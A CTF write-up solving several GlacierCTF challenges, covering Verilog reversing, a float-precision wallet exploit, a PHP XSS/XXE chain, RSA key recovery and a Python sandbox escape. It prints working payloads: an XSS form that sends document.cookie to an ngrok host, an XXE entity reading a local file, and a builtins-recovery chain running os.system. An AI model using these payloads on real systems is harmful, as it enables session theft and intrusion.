Great CTF, very challenging and enjoyable. In solving order:
top.v
:
ββββmodule top(
ββββ input [63:0] key,
ββββ output lock
ββββ);
ββββ reg [63:0] tmp1, tmp2, tmp3, tmp4;
ββββ // Stage 1
ββββ always @(*) begin
ββββ tmp1 = key & 64'hF0F0F0F0F0F0F0F0;
ββββ end
ββββ // Stage 2
ββββ always @(*) begin
ββββ tmp2 = tmp1 <<< 5;
ββββ end
ββββ // Stage 3
ββββ always @(*) begin
ββββ tmp3 = tmp2 ^ "HACKERS!";
ββββ end
ββββ // Stage 4
ββββ always @(*) begin
ββββ tmp4 = tmp3 - 12345678;
ββββ end
ββββ // I have the feeling "lock" should be 1'b1
ββββ assign lock = tmp4 == 64'h5443474D489DFDD3;
ββββendmodule
Googling the keywords (module input output reg always endmodule
) suggests the language is Verilog.
The unknown 64-bit input key (int) is bitwise-and
-ed (&
) with 0xF0F0F0F0F0F0F0F0, shifted left (<<
) with 5, bitwise-xor
-ed with the ASCII bytes "HACKERS!" (encoded as a big endian int
), 12345678 is subtracted and the result is expected to be 0x5443474D489DFDD3.
Solution: invert the steps:
import struct
hex(((0x5443474D489DFDD3 + 12345678) ^ struct.unpack('>Q', b'HACKERS!')[0]) >> 5)`
# => 0xe0102030604060
=> gctf{V3r1log_ISnT_SO_H4rd_4fTer_4ll_!1!}
This is a website implementing a "crypto exchange / wallet" which allows converting funds between accounts in various coins + a cash account.
from src/wallet.py
:
ββββ...
ββββ
ββββself.balances = {
ββββ "cashout": 1000,
ββββ "glaciercoin": 0,
ββββ "ascoin": 0,
ββββ "doge": 0,
ββββ "gamestock": 0,
ββββ "ycmi": 0,
ββββ "smtl": 0
ββββ}
ββββ...
ββββdef transaction(self, source, dest, amount):
ββββ if source in self.balances and dest in self.balances:
ββββ with self.lock:
ββββ if self.balances[source] >= amount:
ββββ self.balances[source] -= amount
ββββ self.balances[dest] += amount
ββββ return 1
ββββ return 0
ββββdef inGlacierClub(self):
ββββ with self.lock:
ββββ for balance_name in self.balances:
ββββ if balance_name == "cashout":
ββββ if self.balances[balance_name] < 1000000000:
ββββ return False
ββββ else:
ββββ if self.balances[balance_name] != 0.0:
ββββ return False
ββββ return True
The objective appears to be to "join the Glacier club" - from server.py
:
@app.route("/api/wallet/join_glacier_club", methods=["POST"])
def join_glacier_club():
wallet = get_wallet_from_session()
clubToken = False
inClub = wallet.inGlacierClub()
if inClub:
f = open("/flag.txt")
clubToken = f.read()
f.close()
return {
"inClub": inClub,
"clubToken": clubToken
}
So the goal is to get at least a balance of 1000000000
in the cash account ('cashout'
) while keeping exactly 0
in the others.
Solution: the check if self.balances[source] >= amount
can be bypassed using negative amounts, and the huge granularity of very large floats can then be exploited to subtract a large amount from one without changing its value. Steps:
-1e300
from any non-cash account to another (e.g. doge
to gamestock
) - this means having -1e300
in the gamestock
account and 1e300
in the doge
accountdoge
account to the cashout
account - this won't change the amount in the doge
account because of the large gaps in sequential values which can be represented as floating point numbers (IEEE 756), leaving the original float value unchanged (1e300
)-1e300
back from gamestock
to doge
/api/wallet/join_glacier_club
# using httpie, first get a session key (generated automatically by several APIs and returned as cookie):
http -v 'https://glacierexchange.web.glacierctf.com/api/wallet/balances'|grep session|cut -d= -f2|cut -d';' -f1 >session
# perform the transfers above via API
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=doge targetCoin=gamestock balance=-1e300 Cookie:session=`cat session`
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=doge targetCoin=cashout balance=1000000000000000000000 Cookie:session=`cat session`
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=gamestock targetCoin=doge balance=-1e300 Cookie:session=`cat session`
# check balance to make sure all went well
http 'https://glacierexchange.web.glacierctf.com/api/wallet/balances' Cookie:session=`cat session`
# join the club, get flag
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/join_glacier_club' Cookie:session=`cat session`
# =>
{
"clubToken": "gctf{PyTh0N_CaN_hAv3_Fl0At_0v3rFl0ws_2}",
"inClub": true
}
This is a PHP website with an XSS exercise (suggested by the automated "admin" in admin-simulation\admin.py
, which checks "support" messages every 5s).
The XSS is apparent via web/pages/contact.php
- the $message['content']
is not escaped in web/pages/view_message.php
(like the other fields, which are escaped using htmlentities()
), but:
header("Content-Security-policy: script-src 'self'")
in includes/csp.php
inline scripts won't runactions/contact.php
to have a valid format via @getimagesize()
- this will actually validate the image header and return the width / height of the image
php_flag engine off
in uploads/.htaccess
, so injected PHP code won't workRequests are forced to HTTPS by the headless Chrome browser automated for the admin (using Selenium), but it accepts self-signed certs ('--ignore-certificate-errors'
).
<meta>
refresh works, so it can be used to redirect the admin to an attacker-controlled page by posting this content in the support request body:
<meta http-equiv="refresh" content="3;url=https://1.tcp.eu.ngrok.io:1234/" />
In web/admin/map.php
, some fields of the POSTed XML
data are injected into a script tag, and CSP is not enabled for this page (presumably because it uses external JS scripts):
...
<script>
var map = L.map('map').setView([0, 0], 12);
...
<?php
...
try
{
$xmlData = "";
if ($_SERVER["REQUEST_METHOD"] === "POST")
{
$xmlData = $_POST["data"];
if(!parseXML($xmlData))
$xmlData = "";
}
...
$xml = parseXML($xmlData);
foreach($xml->marker as $marker)
{
$name = str_replace("\n", "\\n", $marker->name);
echo 'L.marker(["' . $marker->lat . '", "' . $marker->lon.'"]).addTo(map).bindPopup("'. $name. '").openPopup();' . "\n";
echo 'map.setView(["' . $marker->lat . '", "' . $marker->lon.'"], 9);' . "\n";
}
...
?>
</script>
The next step is to return an HTML to the victim (as a response to the meta-refresh-based page request above) which auto-submits the <form>
in map.php
(using JS) and uses a crafted XML to run JS code and leak the session key (contained in the PHPSESSID
cookie). We fill in the <lon>
field in the XML with JS code to end the call we're in the middle of, then create an <img>
and point it to our server, leaking the cookies:
<!doctype html>
<form method="post" action="https://peak.web.glacierctf.com/admin/map.php">
<input name="data" id="data" value='<markers><marker><lat>1</lat><lon>1"],9);new Image().src="https://1.tcp.eu.ngrok.io:1234/cookie?"+document.cookie;//</lon><name>x</name></marker></markers>' />
<button id="submit" type="submit">Submit</button>
</form>
<script>document.getElementById("submit").click()</script>
We then get the PHPSESSID
cookie, which we inject into our browser:
GET /cookie?PHPSESSID=joxAG8Db9UKE9vlO9V4yYg4zd7 HTTP/1.1
Again in map.php
, LIBXML_NOENT
(which enables the substitution of XML character entity references, which may be external) is passed to simplexml_load_string()
, so the posted XML should be vulnerable to an XXE attack. Reference: https://brightsec.com/blog/xxe-vulnerability/
We POST a crafted XML to that page and get the flag:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<markers>
<marker>
<lat>47.0748663672</lat>
<lon>12.695247219</lon>
<name>&xxe;</name>
</marker>
</markers>
=> gctf{Th3_m0unt4!n_t0p_h4s_th3_b3st_v!3w}
We are provided with a script which encrypts a buffer using an RSA private key and with that key, but partially overwritten with blanks:
xwiBgUBTtaSyUvdrqfgAEduRdnzRbKcwEheMxwIDAQABAoIBAAqaJbojNCwYqykz
n0Fn2sxMsho4PhThPQcX79AGqSxVNxviWK2GXETP7SsnvWGmRXHIRnR6JGOhyHVe
dTDYZxOAOhl85FksVQYVUaygf9Epekja/vSj5OE8NIcAdEBr3aZ6gdLxi+q1a5Kh
1nEmsF6FiYGpsPkN63ovbow/CKt4N7UQJqZEQw380rNA0sOQenmzXRFOpXA8PRFb
G6itGRiP1gB9tpdQnWggQ5n+x8/2k+k3CRW6/xIP9dMAVZh2jVombenLxgnhQCJB
bYaR4I8B0zzYqXqFfeHCMNl+pJmmmFcvs2ZE71fqyjRid6ZDqS4GXtSuRQM0UL7L
UQVBaYECgYEA5BiLN7FjwgOuT4FKxFdzizdq/t5mvRksbmBP/JWk3vxQYeCmMiPQ
xrQUqdHGGxG8iMIwH7dnhNaPa81lrP9fCKyij/caEbe4lmEm+VdM/xZQF+PiCc1f
ziYXphz9wuAc8++kvKxM2EaiDe8F25nsXW+FaxNoXKbJg0zTQLyzKiECgYEA8SLi
hbAwo2l0zal8GMIemzr+APxLw+fmd4aryVAMov8ANkG8KDMwdmvvkn3rL7WaKym5
fakqvXR45/QGPe8niVzx6oaWGSSfijeVan27pG/bzVqyymFHZP9cRhEHW4HN57hO
pXy0kUFqVaxJWCs+thH0LTZoToAepg+sr82FaecCgYEAnJnpQzRsHDEwxO8sqP6t
moBS2mdRPDUDV0iSwgTvrBSpD3oQQM5sMXBD24/lpoIX4gEIz025Ke+xij77trmh
wq/b8GGjqVRsy/opqvjwKRZlqPFRKI+zXjKy+95dryT1W9lFTjAxli9wZYaci/fy
2veNL0Wk2i+8nIPraj/j9mECgYEA0ou6LC7OGTDwKs7sqxV78eBNfoDMis7GPeEZ
x9ocXom3HqjA6HzhuNS/xzIpE2xGo5939c+qoOe81hMNDDDwXZEJLdS75FJE90NX
NDd6iracvi6OZAUSeI47fHZL7UtmhQg5q2c6poXumcWn+NMxm3oLsRqLcteNa0PO
bWZPMksCgYBidblknACvEinDUQB8dvElzROql0ZUMX9hQOsSrg0ju3smun8qujcT
PJQrWctoNw0ZXnQjDkVzaJxog1F3QkKUg6B1Rn2Q0RYuCAeNDn+KqBkTT18Du7yw
+GU/4U6EMw+uL7dNjasD1jjx90ro6RmDDBmGDQuludO0G7h9XQzl+Q==
-----END RSA PRIVATE KEY-----
The -----END RSA PRIVATE KEY-----
marker suggests it is a PKCS#1
-encoded key, generated by older versions of OpenSSL (more recent versions have -----END PRIVATE KEY-----
, which is PKCS#8
). So we grab an older version (1.0.0j
in my case) and generate keys of several plausible sizes (512, 1024, 2048, 4096) with e.g. openssl genrsa 512 >key
and diff-compare the produced keys with the one above. The 2048-bit key matches.
Underneath the Base64 is a fixed-structure ASN.1 encoded set of values, among which N
(modulus), p
(prime1
), q
(prime2
), e
(publicExponent
) etc. We can either identify the fixed offsets where the values start (after decoding the Base64 wrapper) based on the information printed by openssl rsa -text -noout -in key
or we can use the top 6 lines from the valid key generated above and overwrite the blanked part of the given private key. It becomes obvious that the overwritten part only contains N
, which can easily be recovered (as P
* Q
).
To decrypt the text however we only need either the private exponent or P and Q:
import math
P = ...
Q = ...
e = 65537
ciphertext = ...
def int_to_bytes(n):
return n.to_bytes((n.bit_length() + 7) // 8, byteorder='big')
N = P * Q
phi = (P - 1) * (Q - 1)
if math.gcd(phi, e) > 1:
raise ValueError('Invalid Ο + e!')
D = pow(e, -1, phi)
print(int_to_bytes(pow(ciphertext, D, N)))
=>
Hey Bob this is Alice.
I want to let you know that the Flag is gctf{7hi5_k3y_can_b3_r3c0ns7ruc7ed}
chall.py
:
ββββfrom Crypto.Util.number import bytes_to_long
ββββfrom Crypto.Util.number import getPrime
ββββPRIME_LENGTH = 24
ββββNUM_PRIMES = 256
ββββFLAG = b"gctf{redacted}"
ββββN = 1
ββββe = 65537
ββββfor i in range(NUM_PRIMES):
ββββ prime = getPrime(PRIME_LENGTH)
ββββ N *= prime
ββββct = pow(bytes_to_long(FLAG), e, N)
ββββprint(f"{N=}")
ββββprint(f"{e=}")
ββββprint(f"{ct=}")
The output of the above code is given as output.txt
.
The challenge is RSA-based - the modulus N
is made up of 256 24-bit primes instead of two large ones (P
/ Q
), which appears to be allowed in principle by the RSA standard (and called a "Multi-prime RSA", or "RSA-MP") but the primes cannot repeat (in this case they do) and there is a much lower limit on their number (around 4 for a 2048 bit key).
Solution:
factor the large number (trivial), get a list of factors
ββββi = int(2 ** 23) # the range is 2**23..2**24-1
ββββwhile N > 1:
ββββ while N % i == 0:
ββββ print(i, sep='', end=', ')
ββββ sys.stdout.flush()
ββββ N //= i
ββββ i += 1
ββββprint()
Ο
(phi
, the totient function, used for decryption, (p-1)*(q-1)
for regular RSA), can be computed as the product of pow(p, count - 1) * (p - 1)
for each p
in factors
(count
being the number of times p
appears in factors
)
the decryption key / exponent (D
) is computed as pow(e, -1, phi)
, then the ciphertext can be decrypted
assuming factors
from above and the given values of N
, e
and ct
(ciphertext) from output.txt
(given):
ββββfrom operator import mul
ββββfrom functools import reduce
ββββdef int_to_bytes(n):
ββββ return n.to_bytes((n.bit_length() + 7) // 8, byteorder='big')
ββββ
ββββN = ...
ββββe = ...
ββββct = ...
ββββfactors = ...
ββββ
ββββfactors_1 = []
ββββfor p in set(factors):
ββββ cnt = factors.count(p)
ββββ factors_1.append(pow(p, cnt - 1) * (p - 1))
ββββphi = reduce(mul, factors_1, 1)
ββββD = pow(e, -1, phi)
ββββprint(int_to_bytes(pow(ct, D, N)))
=> gctf{maybe_I_should_have_used_bigger_primes}
Failed this one, but I have no idea why. The solution worked locally, so here it is.
The challenge double-evals a string received from the attacker - chall.py
:
print("You get one chance to awaken from the ice prison.")
code = input("input: ").strip()
whitelist = """gctf{"*+*(=>:/)*+*"}""" # not the flag
if any([x not in whitelist for x in code]) or len(code) > 40000:
print("Denied!")
exit(0)
eval(eval(code, {'globals': {}, '__builtins__': {}}, {}), {'globals': {}, '__builtins__': {}}, {})
Both eval()
s have disabled __builtins__
and globals()
and the input command is filtered - only the chars gctf{}"*+()=>:/
are allowed.
To bypass the filter:
- numbers can be obtained by adding bool
s: (()==())+(()==())
(i.e. True+True
) evaluates to 2
- f-strings can be used to generate characters from those numbers (f"{...:c}"
) to be then evaluated by the outer eval()
- the encoded string looks something like f"{((((({}=={})+({}=={}))**(({}=={})+...+((({}=={})+({}=={})))+({}=={}):c}"
To print flag.txt without globals
and __builtins__
, we get __builtins__
(as a dict): [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__["__import__"]('os').system('cat flag.txt')
. Reference: https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
This string will be passed to the encoder above, a ~22k buffer is produced, which prints flag.txt
locally:
$ python3 chall.py <buffer
You get one chance to awaken from the ice prison.
input: cat: flag.txt: No such file or directory